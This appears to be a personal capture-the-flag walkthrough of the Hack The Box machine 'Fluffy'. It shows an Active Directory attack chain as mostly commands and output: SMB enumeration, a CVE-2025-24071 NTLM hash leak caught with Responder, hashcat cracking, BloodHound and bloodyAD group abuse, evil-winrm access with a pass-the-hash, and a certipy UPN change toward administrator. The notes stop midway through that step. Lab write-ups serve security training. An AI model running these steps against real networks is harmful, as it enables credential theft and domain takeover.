Fluffy¶
Start with a NMAP scan
nmap -sC -sV $IP
#nmap #scan #network
I find the FQDN: commonName=DC01.fluffy.htb Add it to my hosts file.
#hosts
smbclient -L //$IP Password for [WORKGROUP\crtcli]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
IT Disk
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
#smbenum #smb #smbanonymous Im wondering if IT is our entry point to priv esc into admin. Lets run
SMB 10.129.232.88 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.88 445 DC01 [+] fluffy.htb\guest:
SMB 10.129.232.88 445 DC01 [*] Enumerated shares
SMB 10.129.232.88 445 DC01 Share Permissions Remark
SMB 10.129.232.88 445 DC01 ----- ----------- ------
SMB 10.129.232.88 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.88 445 DC01 C$ Default share
SMB 10.129.232.88 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.88 445 DC01 ITSMB 10.129.232.88 445 DC01 NETLOGON Logon server share
SMB 10.129.232.88 445 DC01 SYSVOL Logon server shareInteresting, almost no access, lets check IPC to be sure. #recon
We do get an account so lets try checking shares with it: j.fleischman / J0elTHEM4n1990!
crackmapexec smb $IP -u 'j.fleischman' -p 'J0elTHEM4n1990!' --sharesSMB 10.129.232.88 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.88 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.232.88 445 DC01 [*] Enumerated shares
SMB 10.129.232.88 445 DC01 Share Permissions Remark
SMB 10.129.232.88 445 DC01 ----- ----------- ------
SMB 10.129.232.88 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.88 445 DC01 C$ Default share
SMB 10.129.232.88 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.88 445 DC01 IT READ,WRITESMB 10.129.232.88 445 DC01 NETLOGON READ Logon server share
SMB 10.129.232.88 445 DC01 SYSVOL READ Logon server share
#crackmapPerfect lets get into IT and see whats up.
Ive found an Upgrade_Notice.pdf inside the IT share, this probably has a hint. I will look at the rest in a sec.
This notice appears to be a notice from security which tells us this environment is impacted by a lot of vulnerabilities.
Also note down the email: infrastructure@fluffy.htb #recon
Lets look through the 2 critical vulns: 2025-24996 and 2025-24071
CVE-2025-24996¶
External control of file name or path in Windows NTLM allows an unauthorized attacker to perform spoofing over a network. #exploitation ## CVE-2025-24071 Exposure of sensitive information to an unauthorized actor in Windows File Explorer allows an unauthorized attacker to perform spoofing over a network. #exploitation
Based on my intuition im going to assume the first one is what we will be exploiting. We’ll find out.
Looking up on CVE-2025-24071, this exploit allows us to leak an NTLM hash so we will probably be using said has for a PTH attack with evil-winrm?
Lets try to exploit CVE-2025-24071 and upload a malicious file to the IT share.
Here: https://github.com/0x6rss/CVE-2025-24071_PoC
We create exploit.zip and put to upload to the share.
now to steal the NTLM hash we need to start a listener using responder:
sudo responder -I tun0
and just like that we get the hash:
p.agila::FLUFFY:f1ca4014b777b423:9113FD17F1CF0E2EE1289E23DB1A5CF1:010100000000000080F35C8C4DD6DC01CCDDDB512301BCF10000000002000800570042005A004A0001001E00570049004E002D0041005300440043004B00490059004B0055004200410004003400570049004E002D0041005300440043004B00490059004B005500420041002E00570042005A004A002E004C004F00430041004C0003001400570042005A004A002E004C004F00430041004C0005001400570042005A004A002E004C004F00430041004C000700080080F35C8C4DD6DC01060004000200000008003000300000000000000001000000002000003F812EDB3C8665EE7ED023337673F8C0DAB14364A48DE55984EC76A3C526C54E0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003200340031000000000000000000
Lets crack it with hashcat.
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt #hashcat
#cracking
and we get our password:
P.AGILA::<SNIP>:prometheusx-303 #credentials
Lets test with crackmapexec:
crackmapexec smb $IP -u 'p.agila' -p 'prometheusx-303' --shares
SMB 10.129.232.88 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.88 445 DC01 [+] fluffy.htb\p.agila:prometheusx-303
SMB 10.129.232.88 445 DC01 [*] Enumerated shares
SMB 10.129.232.88 445 DC01 Share Permissions Remark
SMB 10.129.232.88 445 DC01 ----- ----------- ------
SMB 10.129.232.88 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.88 445 DC01 C$ Default share
SMB 10.129.232.88 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.88 445 DC01 IT READ,WRITESMB 10.129.232.88 445 DC01 NETLOGON READ Logon server share
SMB 10.129.232.88 445 DC01 SYSVOL READ Logon server share
#crackmapIt worked, now lets try enumerating with bloodhound-python:
bloodhound-python -d fluffy.htb -u 'p.agila' -p 'prometheusx-303' -dc 'dc01.fluffy.htb' -c all -ns $IP
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: fluffy.htb INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users INFO: Found 54 groups
INFO: Found 2 gpos INFO: Found 1 ous
INFO: Found 19 containers INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb INFO: Done in 00M 02S
#bloodhound
Based on the output of bloodhound, we see that agila is a part of the
service account managers group which is access to the
service accounts group, this group has GenericWrite over the
ca_svc user which is inside of the cert publishers group.
Enumerating the SERVICE ACCOUNTS permission, it has write over
LDAP_SVC, CA_SVC, and WINRM_SVC. My first thought is we need to add
ourselves to the CERT PUBLISHERS group.
Lets add ourselves to the service accounts group with bloodyAD. It
is important to note that ==GenericALL== permissions gives us the
permissions to add us to groups.
bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.10.11.69 add groupMember 'service accounts' p.agila
#bloodyAD
and here: [+] p.agila added to service accounts #ad_groups
Now as a member of service accounts we use the GenericWrite to
add credentials to winrm_svc, and ca_svc to recieve the RC4
password hash.
We are then able to get a shell:
evil-winrm -u 'winrm_svc' -H 33bd09dcd697600edf6b3a7af4875767 -i dc01.fluffy.htb
#evilwinrm
Enumerating further we can run crackmapexec to confirm if ADCS is running:
crackmapexec ldap $IP -u 'winrm_svc' -H 33bd09dcd697600edf6b3a7af4875767 -M adcs
crackmapexec ldap 10.129.232.88 -u 'winrm_svc' -H 33bd09dcd697600edf6b3a7af4875767 -M adcs
LDAP 10.129.232.88 389 10.129.232.88 [-] Error retrieving os arch of 10.129.232.88: Could not connect: timed out
SMB 10.129.232.88 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
LDAP 10.129.232.88 389 DC01 [+] fluffy.htb\winrm_svc:33bd09dcd697600edf6b3a7af4875767
ADCS 10.129.232.88 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.129.232.88 389 DC01 Found PKI Enrollment Server: DC01.fluffy.htb
ADCS 10.129.232.88 389 DC01 Found CN: fluffy-DC01-CA
#ADCS
we find ADCS is running.
The following command will use certipy to find vulnerabilities in the CA:
certipy-ad find -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable -enabled -stdout
#certipy
We know ca_svc is the right spot to look because in BH we see this user
is part of the CERT PUBLISHER group.
[!NOTE] Ensure you use certipy 4 or 5, the pwnbox version is very old and does not have any features required.
Now we need to update the user inside of ca_svc:
bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.232.88 add groupMember 'service accounts' p.agila
[+] p.agila added to service accounts ^ we re-run this command as
our perms were reset due to a script
(certipy-venv)certipy account update -username
“p.agila@fluffy.htb” -p “prometheusx-303” -user ca_svc -upn
‘administrator’`
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_svc':
userPrincipalName : administrator
[*] Successfully updated 'ca_svc'
This updates the UPN to administrator, now we need to request a new
certificate to authenticate as adminitrator:
[[UPN User Principle Name.]]